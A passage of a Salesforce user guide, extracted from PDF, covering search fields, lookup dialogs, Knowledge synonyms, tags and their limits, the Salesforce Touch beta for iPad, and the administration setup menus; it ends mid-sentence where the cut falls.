Last Name (Local)
Mailing Address
Mobile
Other Address
Other Phone
Phone
Title

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)

363

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

All custom fields of type text,


text area, long text area, rich
text area, email, and phone

Salesforce CRM Content Fields


Neither sidebar search nor advanced search are designed to find content. To find content, use global search (results appear as
files) or the search tools on the Content tab. For more information, see Searching for Files on page 2426 and Searching for
Content on page 311.

Contract Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Billing Address
Contract Name
Contract Number
Description
Shipping Address
Special Terms

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

Contract Line Item Fields


Search Type
Field Searched

Sidebar

Advanced

Global

Description
Name

364

Search and Tags

Search Fields

Custom Object Fields


Custom object records appear in search results only if they have a custom tab.
Search Type
Field Searched

Sidebar

Advanced

Global

Name

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type email
and phone
All custom fields of type text,
text area, long text area, and
rich text area

Document Fields
Neither sidebar search nor advanced search are designed to find documents. To find a document, use global search or the Find
Document button on the Documents tab. For more information, see Searching for Documents on page 255.

Entitlement Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Name

File Fields
Neither sidebar search nor advanced search are designed to find files. To find a file, use global search or the search tools on
the Files tab. For more information, see Searching for Files on page 2426.
Search Type
Field Searched

Sidebar

Advanced

Global

Files Tab

Body
Description
Extension (such as

ppt)
Name
Owner

365

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

Files Tab

All custom
auto-number fields and
custom fields that are
set as an external ID
(You don't need to
enter leading zeros.)
All custom fields of type
text, text area, long text
area, rich text area,
email, and phone

Idea Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Comment
Description
Title

Lead Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Address
Company
Description
Email
Fax
First Name
First Name (Local)
Last Name
Last Name (Local)
Mobile
Phone

366

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

Title

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

Note Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Body
Title

Opportunity Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Description
Opportunity Name

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

People Fields
Neither sidebar search nor advanced search are designed to find people; however, sidebar search and advanced search can be
used to find users. See User Fields.
To find people, use global search or the search tools on the People tab. For more information, see Searching in Chatter on
page 2442.

367

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

People Tab

About Me
Email
First Name
Last Name
Name
Nickname
Phone
Record ID (15

character Record ID
only)
Username

All custom
auto-number fields and
custom fields that are
set as an external ID
(You don't need to
enter leading zeros.)
All custom fields of type
text, text area, long text
area, rich text area,
email, and phone

Price Book and Product Fields


Neither sidebar search nor advanced search are designed to find price books or products. To find a price book or product, use
global search or the Price Books and Find Products areas on the Products tab. For more information about searching for
price books and products, see Searching for Price Books and Searching for Products.

Question Fields
The Answers tab in Salesforce lists all the questions posted to an answers community.
Search Type
Field Searched

Sidebar

Advanced

Global

Question Body
Question Title
Reply Body

368

Search and Tags

Search Fields

Quote Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Quote Name
Quote Number

Report Fields
Search Type
Field Searched

Sidebar

Advanced

Global

Description
Report Name

Service Contract Fields


Search Type
Field Searched

Sidebar

Advanced

Global

Contract Number
Description
Name
Special Terms

Solution Fields
Neither sidebar search nor advanced search are designed to find solutions. To find a solution, use global search or the Find
Solution button on the Solutions tab. For more information, see Searching for Solutions on page 3263.

Tags
You can search for tags in sidebar, advanced, and global search.

Task, Calendar Event, and Requested Meeting Fields


Archived activities are accessible in advanced search only.
Search Type
Field Searched

Sidebar

Advanced

Global

Comments (task and events

only)
Subject

369

Search and Tags

Search Fields

Search Type
Field Searched

Sidebar

Advanced

Global

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

User Fields
If you're using Chatter and searching for people, see People Fields.
Search Type
Field Searched

Sidebar

Advanced

Global

About Me
Email
First Name
Last Name
Name
Nickname
Phone
Record ID (15 character

Record ID only)
Username

All custom auto-number fields


and custom fields that are set
as an external ID
(You don't need to enter
leading zeros.)
All custom fields of type text,
text area, long text area, rich
text area, email, and phone

Lookup Search Fields


The lookup icon, which appears as a magnifying glass next to many fields, opens a dialog that allows you to search for other
records. Below is the list of fields that are used for matching when searching in the standard or enhanced lookup dialog.

370

Search and Tags

Search Fields

Type of Record

Fields Searched

Account

Account Name

Standard Lookups

Enhanced Lookups

Account Name (Local)


Website

Campaign

Campaign Name

Case

Case Number

Community

Community Name

Contact

First Name
First Name (Local)
Last Name
Last Name (Local)

Contract

Contract Name
Contract Number

Discussion

Title

Document

Document Name
Keywords

Idea

Title

Lead

Company
Company (Local)
Name
Name (Local)

Opportunity

Account Name
Opportunity Name

Product

Product Code
Product Name

Self-Service User

First Name
Last Name

Solution

Solution Title

371

Search and Tags

Lookup Dialog Search

Type of Record

Fields Searched

User

First Name

Note: Only active


users are searchable.

Custom Objects

Standard Lookups

Enhanced Lookups

Last Name
Name

Name

See Also:
Field-Level Security Overview
Search Overview
How Search Works
Searching in Salesforce.com

Lookup Dialog Search


Available in: All Editions

Salesforce objects often include lookup fields that allow users to associate two records together in a relationship. For example,
a contact record includes an Account lookup field that represents the relationship between the contact and its associated
organization. The object that contains the lookup field is the source object, while the object the lookup points to is the target
object.
Lookup fields appear with the
button on record edit pages. Clicking
opens a lookup search dialog that allows the user
to search for the record that should be associated with the one being edited. A blank lookup is performed when you click the
lookup icon without entering a search term.
Salesforce provides two types of lookups.
Standard Lookups
By default, all lookups behave as standard lookups. When searching for records with a standard lookup, only the fields
listed in Lookup Search Fields are queried. Standard lookups return up to 50 records at a time in alphabetical order and
don't allow for sorting, filtering, or customizable columns.
Enhanced Lookups
If enabled by your administrator, account, contact, user, and custom object lookups can behave as enhanced lookups.
Enhanced lookups update standard lookup fields with the following functionality:

Enhanced lookup search queries are broken into separate search terms at any split between alphabetic, numeric, and
special characters. For example, if you enter ALL4ONE in an enhanced lookup field, the resulting query searches for
ALL and 4 and ONE. Consequently, entering ALL the 4 and ONE returns ALL4ONE. Also, searching for S&
returns fields containing both S& and &S.

372

Search and Tags

Lookup Dialog Search

Enhanced lookups allow users to sort and filter search results by any field that is available in regular search results.
Users can also hide and reorganize the columns that are displayed in the results window.
Note: In addition to user-controlled filters, administrators can create lookup filters on relationship fields
that limit the valid values and lookup dialog results for the field.

Enhanced lookups return all records that match your search criteria and allow you to page through large sets of search
results.
In enhanced lookups, you can use wildcards in your search terms; however, the wildcard can't be the first character
in the search term or phrase.

When you click a standard or enhanced lookup icon before entering anything in the lookup field, a list of all recently used
records displays. However, for standard lookups of products and queues, the dialog shows an alphabetical listing of the first
50 records. For standard lookups of campaigns, the dialog shows the first 100 active campaigns. For the asset standard lookup
on a case, the dialog shows all the assets tied to the contact on the case, if any. If you click the standard or enhanced lookup
icon next to a field that is populated with a string, the string value is used as the search query. For standard or enhanced lookups
of users, the dialog shows a list of recently accessed user records from across your organization. If you perform a blank
lookupthat is, you click the lookup icon without entering a search termfilters only apply to items in the most recently used
list. Otherwise, filters apply to both this list and the resulting records of the lookup.
Note: Only active users are searchable, except in the lookup for mass transfers, where inactive users are also searchable.

Lookup Auto-Completion
If enabled by your administrator, both standard lookups and enhanced lookups can display a dynamic list of matching recently
used records when a lookup field is edited. This list is restricted to objects of the appropriate type and, with the exception of
lookups of users, is populated from recently used items. For example, while editing an Account lookup, you can see recently
used accounts with names that match the prefix you have entered. Recently used contacts don't appear in this list.
Lookup auto-completion is subject to the following restrictions:

You must have recently visited records of the appropriate type for the lookup's auto-completion list to be populated.
You must be editing the lookup field on a record's edit page.

Tips for Using Standard and Enhanced Lookups


Consider these tips when using standard and enhanced lookups.

To improve standard lookup dialog search results, use an asterisk (*) wildcard within your search string.
For example, searching for com* finds items with com at the beginning of any word in the search string, such as commerce,
community, and edge communications.

When you use wildcards to search enhanced lookup fields, be aware that the results may include more records than you
expect if your search term includes combinations of letters, numbers, and special characters.

If you enter a value into the lookup text box and save the record without clicking the lookup icon ( ), Salesforce
automatically performs a search and assigns the result to the lookup field. If more than one result is found, Salesforce
displays a drop-down list of the matching options. If no results match the text you entered, an error displays instead.
A wildcard is automatically appended to each of your search terms.

For example, searching for bob jo returns items with bob jones, bobby jones, or bob johnson.

373

Search and Tags

How Salesforce Knowledge Synonyms Work in Searches

To search for contacts, leads, users, or other individuals that include spaces in the First Name or Last Name fields,
enter quotes around the terms.
For example, to search for bob von hausen, enter "bob von hausen".

In organizations where the Salesforce Customer Portal or partner portal is enabled, you can filter the results that appear
on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down list.
If your organization uses divisions and you have the Affected by Divisions permission, your lookup dialog search results
include records in the division you select in the lookup dialog window.

See Also:
Configuring Lookups
Search Overview

How Salesforce Knowledge Synonyms Work in Searches


Available in: Enterprise, Unlimited, and Developer Editions

Salesforce Knowledge synonyms affect search behavior in the following ways:


Priority
If a search term is part of a synonym group, the search results list items that contain the search term, followed by items
that contain other terms in the synonym group.
For example, if this synonym group is defined:
fruit, oranges
Then a search for oranges matches a list of items containing oranges, followed by items containing fruit.
Note: In the Article Management tab, if you sort the list by clicking a column header, the sort order, not priority,
persists in the current and additional searches.

Wildcards
If a wildcard is used in a search, the wildcard expands the search term, but the search doesn't match any synonyms, even
if the search phrase contains a defined synonym.
For example, if these synonym groups are defined:
fruit, oranges, apples
cabbage, lettuce
Then a search for orang* lettuce matches items that contain orange and oranges, but doesn't match items that
contain fruit, apples, and cabbage.
Operators
If a search phrase contains an operator (and/or/and not), synonym matches are returned only if the entire search
phrase is a defined synonym.

374

Search and Tags

How Salesforce Knowledge Synonyms Work in Searches

For example, if these synonym groups are defined:


fruit, oranges and apples
vegetables, carrots
Then a search for oranges and apples returns matches for all items that contain the literal string oranges and apples
as well as items that contain the term fruit.
However, if the search phrase is fruit and vegetables, which is not a defined synonym, the search matches only
those items that contain both the terms, fruit and vegetables.
In this case, and functions as an operator and synonym matches are not returned in the search results. In terms of this
example, items that contain a synonym of either fruit or vegetables (items that contain the term carrots or the phrase
oranges and apples) are not returned.
Exact phrase matches
If an exact phrase contains a defined synonym as well as other text, the search doesn't treat the phrase as a synonym.
For example, if this synonym group is defined:
oranges apples, fruit
Then an exact phrase search for raspberries oranges apples doesn't match items that contain the word
fruit.
Stemming
A synonym is not stemmed in search results; rather, it is matched as an exact phrase. However, the search term is
stemmed.
For example, if this synonym group is defined:
quench, drink orange juice
Then a search for quench matches items that contain quench, quenched, quenching, and drink orange juice, but doesn't
match items that contain drinking orange juice.
Ignored words
Words that are normally ignored in searches, such as the, to, and for, are matched if the word is part of a defined synonym.
For example, if this synonym group is defined:
peel the orange, cut the apple
Then a search for peel the orange matches items that contain the exact string peel the orange.
Overlapping synonyms
If a search term consists of overlapping synonyms from different groups, the search matches synonyms in all of the
overlapping synonym groups.
For example, if these synonym groups are defined:

orange marmalade, citrus


marmalade recipe, sugar

Then a search for orange marmalade recipe matches items that contain orange marmalade, citrus, marmalade
recipe, and sugar.

375

Search and Tags

Tags Overview

Subsets
If one synonym group includes a synonym that is a subset of a synonym in another group, a search for the subset term
doesn't match items that contain synonyms from the subset synonym group.
For example, if these synonym groups are defined:

orange, apple
orange marmalade, citrus
marmalade, jam

Then a search for orange marmalade matches items that contain orange marmalade and citrus, but doesn't match
items that contain apple, jam, only marmalade, and only orange.

See Also:
Searching for Articles

Tags Overview
Available in: All Editions except Database.com

Tags are words or short phrases that you can associate with most Salesforce records to describe and organize their data in a
personalized way. Use tags to group records from various objects by a common topic or use, and then use those tags in search
to make finding information fast and intuitive.
For example, if you met a number of contacts and leads at a conference, you might tag them all with the phrase User Conference
2011. You could then search for the User Conference 2011 tag and click that tag in search results to retrieve those records.
Salesforce supports two types of tags.

Personal tags are private. Only you can view any personal tags that you add to a record.
Public tags are shared among all users in an organization. Any user with access to the record can view the public tags that
you add.

Administrators can enable personal and public tags for accounts, activities, assets, campaigns, cases, contacts, contracts,
dashboards, documents, events, leads, notes, opportunities, reports, solutions, tasks, and any custom objects (except relationship
group members), allowing you to:

Tag records
Remove tags from a record
Browse, search, and manage tags

See Also:
Tags Limits
Tags Settings
Using the Tags Sidebar Component
Search Overview

376

Search and Tags

Tags Overview

Tagging Records
Available in: All Editions except Database.com

User Permissions Needed


To edit tags on a record:

Read on the record

1. On the top right corner of the record detail page, click Add Tags. If the record already has associated tags, click Edit Tags.
2. In the Personal Tags or Public Tags text boxes, enter comma-separated lists of the tags that you want to associate
with the record. Tags can only contain letters, numbers, spaces, dashes, and underscores, and must contain at least one
letter or number.
As you enter new tags, up to 10 tags that have already been defined are displayed as auto-complete suggestions. As you
type, the list of suggestions changes to show only those tags that match the prefix you have entered. To choose a suggestion,
click it or use your keyboard arrow keys to select it and press the TAB or ENTER key.
3. Click Save.
Tip: When you create or edit tags, you can press the ENTER key to save your changes or the ESC key to discard
them.

Note: You and your organization are subject to limits on the number of personal and public tags that you can create
and apply to records. If you attempt to tag a record with a new tag that exceeds one or more of these limits, the tag
isn't saved. If this occurs, you can delete infrequently used tags from the Tags page. See Browsing, Searching, and
Managing Tags on page 378.

See Also:
Using the Tags Sidebar Component
Removing Tags from Records

Removing Tags from Records


Available in: All Editions except Database.com

User Permissions Needed


To edit tags on a record:

Read on the record

1. On the top right corner of the record detail page, click Edit Tags.
2. Next to the Personal Tags or Public Tags text boxes, click [X] next to the tag that you want to remove.

377

Search and Tags

Tags Overview

3. Click Save.
Tip: When you create or edit tags, you can press the ENTER key to save your changes or the ESC key to discard
them.

If the tag that you removed is the last instance of the tag, the tag is deleted from your organization completely. If other records
use the tag, the tag still appears in search results and the Tags page.

See Also:
Tagging Records

Browsing, Searching, and Managing Tags


Available in: All Editions except Database.com

To access the Tags page, click the name of any tag on a detail page, or if your administrator added tags to the sidebar, click
Tags in the sidebar.
From this page, you can:

View and browse tags


Find records with tags
Search tags
Rename and delete tags
Review personal tag statistics

Viewing and Browsing Tags


Use the Personal Tags and Public Tags checkboxes to limit or expand your view. Because personal tags are private, you
can only see the personal tags that you have defined. You can see all public tags that are defined in your organization.
Click a letter at the top of the tag browsing area to view only tags that begin with that letter or click Next Page or Previous
Page.
By default, tags are listed in alphabetical order. From the Sort picklist, choose By Number of Uses to sort tags by the number
of records that are tagged by them, or choose By Most Recently Used to sort tags by how recently they were added to a record.
Finding Records with Tags
Click a tag to see the list of records organized by object. The number of records associated with the tag is displayed next to
the tag. You can narrow your results further by clicking additional tags. When more than one tag is selected, only records that
match all selected tags are displayed in the list of results. Click [X] next to a tag to deselect it and remove it from the filter.
Click Clear Selected Tag(s) to deselect all tags and start over.
Note:

The number of records associated with a tag can sometimes be greater than the number of records displayed when
you click that tag in the Tags page. This situation occurs if you tagged a record and then lost permission to view
it because of a change in sharing, or if a record that you don't have access to has one or more public tags.

378

Search and Tags

Tags Overview

Search results and the Tags page don't display custom objects that don't have an associated tab, even if tags are
enabled for the custom object. If you want custom object records to appear in search results or on the Tags page,
you must create an associated tab. The tab doesn't have to be visible to users.

You can customize columns and filter the search results. See Search Results.
Searching Tags
Enter terms in the Search Tags text box and click Search. Only tags that meet your search criteria are listed in the tag browsing
area. You can then click any tag to view records associated with that tag.
Search strings must include at least two characters and can include wildcards and operators.
The most recent search result is saved in the tag browsing area next to the alphabet at the top of the page. Click the search
string to return to your results.
Renaming and Deleting Tags
User Permissions Needed
To rename or delete public tags:

Tag Manager

To rename a tag, hover over the tag and select Rename from the drop-down list that appears around the tag. Enter a new
name for the tag in the text box that appears and click Save.
To delete a tag, hover over the tag and select Delete from the drop-down list that appears around the tag. The tag is
removed from every record in your organization and is placed in the Recycle Bin.
If you restore a tag from the Recycle Bin, it is automatically reassociated with the records from which it was removed. For
more information, see Recycle Bin on page 58.

You can rename or delete any personal tag, but you must have the Tag Manager permission to rename or delete a public
tag.
Reviewing Personal Tag Statistics
Click Personal Tag Usage on the right side. This page displays your current number of unique personal tags and personal tag
applications. You can have a maximum of:

500 unique personal tags


5,000 instances of personal tags applied to records

If you are approaching your personal tag limits, consider merging similar tags into a single tag by renaming. For example, if
you have tags for Bicycling, Cycling, and Biking, you can rename Cycling and Biking to Bicycling to reduce your number of
unique personal tags.
To reduce the number of instances of tags applied to records, delete personal tags that you no longer use.

See Also:
Tagging Records
Tags Limits
Using the Tags Sidebar Component
Search Overview

379

Search and Tags

Browsing and Searching Setup

Tags Limits
Available in: All Editions except Database.com

You can have a maximum of:

500 unique personal tags


5,000 instances of personal tags applied to records

Across all users, your organization can have a maximum of:

1,000 unique public tags


50,000 instances of public tags applied to records
5,000,000 instances of personal and public tags applied to records

See Also:
Tags Overview
Tagging Records
Removing Tags from Records
Browsing, Searching, and Managing Tags
Deleting Personal Tags for Deactivated Users

Browsing and Searching Setup


Available in: All Editions

User Permissions Needed


To view setup pages:

View Setup and Configuration

The sidebar in setup includes a search box for browsing and quickly finding setup tools. In the left pane of any setup page,
you can:

Type the first few characters of a setting name in the Quick Find box. As you type, items that match your search terms
appear in the menu. Click an item in the list to go to its setup page.
For example, to quickly find the user profiles page, type prof in the Quick Find box.
Click Expand All to open all setup menus.
If you have typed anything in the Quick Find box, only the menus with matching items are expanded.
Click Collapse All to close all setup menus.

Quick Find only returns results from the setup menuit doesn't search records in your organization. To search for records,
use global search, sidebar search, or advanced search.

380

Salesforce Touch

Salesforce Touch OverviewBeta

SALESFORCE TOUCH
Salesforce Touch OverviewBeta
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Salesforce Touch, also referred to as touch.salesforce.com, is a version of Salesforce that is designed specifically for touchscreen
mobile devices. With Salesforce Touch, you have real-time access to the same information that you see in the office, but
organized for working while on the go.
Note:
This is a beta version of Salesforce Touch. This release is production-quality but has limited functionality and some
known limitations. At this time, the app is supported on Apple iPad devices only. You can use Chatter, view sales
data, and create tasks. You cant create or edit records yet, but were working on these features now.
Because of the limited functionality in this release, Salesforce Touch includes links to the full Salesforce site, where
you can perform tasks not currently available in Salesforce Touch. Salesforce.com provides these links for your
convenience but use of the full site from Salesforce Touch isnt officially supported.
Salesforce Touch provides these benefits:

An intuitive interface that is optimized for easy navigation and data interaction on an iPad, so you can scroll, tap, and
swipe through records to quickly find the information you need
Automatic updates and enhancements, so youre always using the most current version
Support for your organizations Salesforce customizations (although this support is limited in the beta release)
Note:
To learn about using Salesforce Touch, see the Salesforce Touch for iPad FAQ. You can access the FAQ directly from
the app by tapping the Settings icon ( ) or you can visit
www.salesforce.com/docs/Language/touch_faq_tablet/index.htm, where Language is your language
setting (for example, de, en, ja, and so forth). If you read the FAQ on a device other than an iPad, use the Apple Safari
or Google Chrome browsers for best results; youll encounter display problems with other browsers.

See Also:
Salesforce Touch Requirements
Enabling Salesforce Touch
Accessing Salesforce Touch

381

Salesforce Touch

Salesforce Touch Requirements

Salesforce Touch Requirements


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The requirements for the Salesforce Touch beta release are:


Devices:
Apple iPad (2nd- and 3rd-generation), with iOS version 5.0 or higher.
Browsers:
The default iPad browser, Safari.
Salesforce:
Chatter must be enabled for your organization.
You must have an active Salesforce account to access Salesforce Touch.
You must have access to the standard sales app.
Wireless Connection:
A Wi-Fi or cellular network connection is required to communicate with Salesforce. For the best performance, we
recommend using Wi-Fi. If you use Salesforce Touch on a 3G cellular network, data rates may apply and you may incur
roaming charges while traveling.
Offline use of Salesforce Touch isnt currently supported.
Language and Locale:
Your organization must be configured to use the English (United States) locale. Other locales arent yet supported.
English is the only officially supported language in the beta release. To help accommodate the language needs of your
organization and users, however, this release includes the Salesforce Touch user interface and the Salesforce Touch for
iPad FAQ in other languages, for unsupported use.
Note:
The translated user interface and FAQ may not be updated in future Salesforce Touch beta releases. Until other
languages are officially supported, the only way to ensure that youre seeing the most current interface and help
is to use the English language setting.
Multiple currencies arent supported in this release.

See Also:
Salesforce Touch OverviewBeta
Enabling Salesforce Touch

382

Salesforce Touch

Enabling Salesforce Touch

Enabling Salesforce Touch


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed


To view Salesforce Touch settings:
To modify Salesforce Touch settings:

View Setup and Configuration


Customize Application
Modify All Data

Note: The Salesforce Touch beta release must be activated for your Salesforce account before you can do the steps
described here. If the Salesforce Touch setup option isnt visible, go to touch.salesforce.com or contact
salesforce.com Customer Support to sign up for the beta release.
To enable Salesforce Touch for all users in your organization:
1. Click Your Name > Setup > Mobile Administration > Salesforce Touch > Settings.
2. Select Enable Salesforce Touch for all users.
3. Click Save.
When Salesforce Touch is enabled, all users who log in to Salesforce from the Safari on iPad web browser are automatically
redirected to Touch Web, the mobile web version of Salesforce Touch. If users prefer to access the full Salesforce site instead,
they can turn off the Touch Web redirection for themselves. See Turning Touch Web Off or On on page 384 for more
information.

See Also:
Salesforce Touch OverviewBeta
Salesforce Touch Requirements
Accessing Salesforce Touch
Turning Touch Web Off or On

Accessing Salesforce Touch


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

When Salesforce Touch is enabled for your organization, youre automatically redirected to Touch Web when you log in to
Salesforce from your Safari for iPad web browser.

383

Salesforce Touch

Turning Touch Web Off or On

If Touch Web doesnt automatically start for you, make sure that you didnt turn it off. See Turning Touch Web Off or On
on page 384 for more information.

See Also:
Salesforce Touch OverviewBeta
Enabling Salesforce Touch
Turning Touch Web Off or On

Turning Touch Web Off or On


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If you prefer to access the full Salesforce site from the Safari for iPad web browser, you can turn off automatic redirection to
Touch Web, either from your iPad or from the full site. You can quickly re-enable Touch Web anytime from the full site.
To turn off Touch Web from your iPad:
1. Log in to Touch Web from Safari.
2. Tap .
3. Select Turn off Touch.
To turn off Touch Web from the full Salesforce site:
1.
2.
3.
4.

Click Your Name > Setup > My Personal Information > Personal Information.
Click Edit.
Deselect Touch User.
Click Save.

If you change your mind later, you can turn Touch Web back. From the full site, repeat the previous steps and select the
Touch User checkbox.

See Also:
Salesforce Touch OverviewBeta
Accessing Salesforce Touch

384

ADMINISTERING SALESFORCE

Setting Up Your Organization


The available setup options vary according to which Salesforce Edition you have.

Click Your Name > Setup > Administration Setup to open the Administration Setup page. It contains setup and customization
options to help you set up your Salesforce organization.
The sidebar includes tools for browsing and searching setup options.

Manage Users
Expand the Manage Users folder under Administration Setup to access the following options:
Users
Create, edit, and deactivate users (see also About Customer Portal User Management on page 1696).
Mass Email Users
Send an email to several of your users at once.
Roles
Define your organizations role hierarchy.
Permission Sets
Specify user permissions, object permissions, field permissions, and access to apps, tabs, Apex classes, Visualforce pages,
and service providers, without changing users' profiles.
Profiles
Specify user permissions, object permissions, field permissions, record types, page layouts, desktop clients, login settings,
and access to apps, tabs, Apex classes, Visualforce pages, and service providers.
Public Groups
Add, update, or delete public groups.
Queues
Add, update, or delete queues for cases, leads, and custom objects.
Login History
View when your users are logging in.
Training History
View which users have taken online training.

385

Administering Salesforce

Setting Up Your Organization

Company Profile
Expand the Company Profile folder under Administration Setup to access the following options:
Company Information
Update your company's information and set up multiple currencies.
Manage Currencies
Set up multiple currencies.
Manage Divisions
Set up divisions to segment your data for greater ease-of-use.
Fiscal Year
Set up fiscal years for your organization.
Business Hours
Set up business hours for your customer support team.
Holidays
Set up holidays during which business hours for your customer support team don't apply.
My Domain
Set up a custom Salesforce domain name, which appears in the URLs that you use to login to and use the application.

Security Controls
Expand the Security Controls folder under Administration Setup to access the following options:
Sharing Settings
Define how your users share data.
Field Accessibility
View the access that users have to specific fields based on profile and record types.
Password Policies
Define password policies for security.
Session Settings
Lock users sessions to an IP address or change session timeout settings.
Network Access
Define IP addresses from which users can log in to your organization.
Certificate and Key Management
Create and manage Salesforce key pairs and certificates for your organization.
View Setup Audit Trail
View which users have recently changed your organizations setup.
Account Owner Report
Restrict users from running the Account Owners report, which lists all accounts and who owns them.

386

Administering Salesforce

Setting Up Your Organization

Expire All Passwords


Expire passwords for all users in the organization.
Delegated Administration
Enable standard users to perform some administrative duties.
Remote Site Settings
Specify the Web addresses that your organization can invoke from Salesforce. You must specify a site before callouts to
them from Visualforce pages, Apex, or the AJAX proxy will function correctly.
HTML Documents and Attachments Settings
Restrict users from uploading HTML files as attachments or to the Documents tab.
Portal Health Check
View reports that show portal users' data access levels for your organization.

Communication Templates
Expand the Communication Templates folder under Administration Setup to access the following options:
Letterheads
Create branded letterheads for HTML emails.
Email Templates
Create email templates to standardize communication.
Mail Merge Templates
Upload templates for mail merge documents.

Globalization
View the Salesforce Globalization Overview online help topic to learn about the different administration tasks that are available
for globalizing Salesforce.

Data Management
Expand the Data Management folder under Administration Setup to access the following options:
Analytic Snapshots
Enable users to automatically run reports and save report results to fields on custom objects for further customization.
Import Accounts/Contacts, Import Person Accounts, Import Leads, Import Solutions, and Import Custom Objects
Import your organizations accounts, contacts, custom objects, leads, person accounts, and solutions.
Data Export
Export your organizations data.
Storage Usage
View how much data storage and file storage your organization is using.
Mass Transfer Records
Transfer multiple records at one time.

387

Administering Salesforce

Setting Up Your Organization

Mass Delete Records


Delete multiple records at one time.
Mass Transfer Approval Requests
Transfer multiple approval requests at one time.
Delete All Data
Delete the existing data from your trial organization.
Mass Reassign Account Teams and Mass Reassign Opportunity Teams
Add, remove, and reassign account and sales team members for multiple records.
Mass Division Transfer
Change divisions for multiple records.
Sandbox
Create a complete single copy of your organization in a separate environment to do a variety of actionssuch as quality
assurance testing, integration testing, or user trainingwithout compromising your organizations data.
Mass Update Addresses
Update the Country or State/Province field on all records with an address. These include addresses in accounts,
contacts, contracts, invoices, leads, and orders.
Data Loader
Download a client application that allows you to import, update, delete, and export large quantities of records.

Monitoring
Expand the Monitoring folder under Administration Setup to access the following options:
Imports
An administrator can check the Import Queue to view details about an import or to cancel an organization import.
Outbound Messages
An administrator can view the Outbound Message queue to check the status of outbound messages related to workflow
or approval processes.
Time-Based Workflow
Specify criteria for monitoring the workflow queue, which contains pending actions triggered by workflow rules.
Case Escalations
Specify criteria for monitoring the case escalation queue, which contains pending actions triggered by case escalation
rules.
API Usage Notifications
Define a notification process that automatically sends email to a specified user when API requests for an organization
exceed the specified limit.
Mass Emails
View the status of scheduled mass emails and cancel mass emails as appropriate.
Debug Logs
Specify the users for whom you want to retain the Apex debug logs in your organization.

388

Administering Salesforce

Setting Up Your Organization

Scheduled Jobs
View all the jobs scheduled to run by users, such as analytic snapshots and dashboard refreshes.
Email Log Files
Request detailed summaries of email sent from Salesforce over the last 30 days.
Bulk Data Load Jobs
Monitor the status of current and recent bulk data load jobs.
Email Snapshots
Take a snapshot of inbound email messages so you can more easily troubleshoot inbound email errors.

Mobile Administration
Expand the Mobile Administration folder under Administration Setup to create mobile configurations for your wireless
users. Mobile configurations are sets of parameters that determine which data Salesforce transmits, and which users receive
that data on their mobile devices.

Desktop Administration
Expand the Desktop Administration folder under Administration Setup to manage desktop configurations for Connect
Offline and Connect for Outlook.
Outlook Configurations
Define the behavior of Salesforce for Outlook for your users, including the Salesforce options that appear in the Outlook
user interface, the data that syncs between Salesforce and Outlook, and which users receive that data.
Offline Briefcase Configurations
Define the behavior of Connect Offline for your offline users. Offline briefcase configurations are sets of parameters
that determine which data Salesforce transmits and which users receive that data in Connect Offline.

Email Administration
Expand the Email Administration folder under Administration Setup to configure the following email options for your
organization:
Deliverability
Set up email delivery options that affect your entire organization.
Organization-Wide Addresses
Associate an email alias with each available user profile.
Compliance BCC Email
If your organization evaluates all outbound email messages for compliance, you can enable compliance BCC emails to
automatically send a hidden copy of each outbound email message to an email address you specify. Enabling compliance
BCC emails prevents users from editing the BCC field on any email and disables their Automatic Bcc setting under
My Email Settings.
Email Relay Activation
Configure Salesforce to automatically route email through your company's Simple Mail Transfer Protocol (SMTP)
server.

389

Company Information

About Company Information

Test Deliverability
Verify your organization can receive email from every Salesforce IP address.
Email To Salesforce
Automatically log emails you send from third-party email accounts as activities on lead and contact records in Salesforce.
Attachments Sent as Links
Find and delete email attachments sent as links.
Email Footers on page 1045
Create footers for outgoing email.

Google Apps
Expand the Google Apps folder under Administration Setup to integrate Salesforce with Google Apps: a suite of on-demand
communication and collaboration tools hosted by Google and designed for business users.

COMPANY INFORMATION
About Company Information
Available in: All Editions

User Permissions Needed


To view company information:

View Setup and Configuration

To change company information:

Customize Application

When your company signs up, the information provided during signup is displayed on the Company Information page at
Your Name > Setup > Company Profile > Company Information.
From the Company Information page, you can:

Click Edit to change your company's information, including your organization's Default Language setting.
Click Currency Setup to set up the ability to use multiple currencies. Available in Group, Professional, Enterprise,
Unlimited, Database.com, and Developer Editions only.
Go to Checkout to buy additional user or feature licenses by clicking Buy More Licenses in the appropriate related list.
For detailed instructions, see Checkout User Guide.

The Company Information page also displays all of the active user and feature licenses you have purchased for your organization.
A user license entitles a user to different functionality within Salesforce and determines which profiles and permission sets are
available to the user. A feature license entitles a user to an additional Salesforce feature, such as Marketing or Connect Offline.
This page lists the following for each type of license:

390

Company Information

My Domain Overview

Status indicates the status of the license.


Total Licenses indicates the number of licenses for which your company is billed and that are available to you.
Used Licenses is the number of licenses that you have assigned to users.
Remaining Licenses is the number of unused licenses.

In addition to license types, the following portal login information is listed for organizations that have Customer Portals or
